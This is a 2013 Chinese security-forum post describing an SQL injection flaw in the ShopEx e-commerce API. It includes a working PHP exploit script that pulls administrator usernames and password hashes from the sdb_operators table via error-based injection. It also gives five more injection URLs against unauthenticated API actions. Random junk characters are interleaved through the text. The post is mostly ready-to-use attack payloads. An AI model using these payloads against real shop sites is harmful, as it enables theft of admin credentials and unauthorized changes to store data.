中国网络渗透测试联盟

标题: shopEx最新版的API注入漏洞分析附利用exp [打印本页]

作者: admin    时间: 2013-7-27 18:34
标题: shopEx最新版的API注入漏洞分析附利用exp
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php) v6 u  F" V" w- _
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php: x% q) ?: b2 G' Z/ V7 G! T2 m

6 g* Q- c/ k- Q, `% o0 \/ W第44行 $data['columns'] 未做过滤导致注入
* K7 O( x$ r! |0 l2 t" Z9 P* |/ |2 \. q. J, ~
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
8 N' T; V% b: K0 \$ z9 ^# _0 ?2 U9 x& c8 Y# q2 D& g- K  l+ T
注射1:4 h& J& V! x' I$ j1 J7 L
: l1 ^6 d- l8 W0 X1 S
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
( W% c- {" X: L8 p8 ^* \5 d" v8 P: s2 Z* [' p
注射2:1 {- c$ I! B7 X/ a5 ^
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}$ y2 {6 D9 X+ R) n0 ?) S
% x$ e% e9 f- a7 }1 {4 Z! ^5 Q
注射3:2 C( Q& T* @9 A% O! ?. b* a
  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx& i) d" z# N  p
注射4:% Z: b( Z8 J3 c0 t
6 t9 w: ~: v6 v. O" D! l& h
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
2 t+ W; V% J! i1 g# `: g, ^' i: d/ q3 H

% `+ D5 T/ K6 \+ U; ~# y注射5:. T5 @; K; a7 F# P- v/ k
  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
% r! B' m5 M! b$ L; n8 A- m# b
+ D# k9 E5 u4 ?- I+ x) E: _$ @1 I, q7 C' h! E+ @) H& X7 `
1 z( I  ]! a# h7 V( t

. X! t* a' L3 |4 K7 k8 O) V" H+ Y7 B- o  I! z! T$ E& ], o

9 F. @/ z3 i  [2 E1 }- y$ p$ i




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2